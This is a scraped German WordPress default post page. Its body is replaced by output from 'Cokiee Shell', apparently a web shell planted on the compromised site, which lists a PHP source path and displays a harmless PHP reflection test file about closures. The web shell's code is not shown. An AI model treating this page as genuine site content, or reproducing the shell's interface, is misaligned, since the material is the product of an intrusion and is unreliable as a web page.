Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!
Hallo Welt!
von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare
Cokiee Shell
Current Path : /usr/local/src/php7/php-7.0.5/ext/reflection/tests/ |
Current File : //usr/local/src/php7/php-7.0.5/ext/reflection/tests/closures_004.phpt |
--TEST-- Reflection on closures: Segfault with getClosure() on closure itself --FILE-- <?php $closure = function() { echo "Invoked!\n"; }; $method = new ReflectionFunction ($closure); $closure2 = $method->getClosure (); $closure2 (); $closure2->__invoke (); unset ($closure); $closure2 (); $closure2->__invoke (); $closure = function() { echo "Invoked!\n"; }; $method = new ReflectionMethod ($closure, '__invoke'); $closure2 = $method->getClosure ($closure); $closure2 (); $closure2->__invoke (); unset ($closure); $closure2 (); $closure2->__invoke (); ?> ===DONE=== --EXPECTF-- Invoked! Invoked! Invoked! Invoked! Invoked! Invoked! Invoked! Invoked! ===DONE===
Cokiee Shell Web 1.0, Coded By Razor
Neueste Kommentare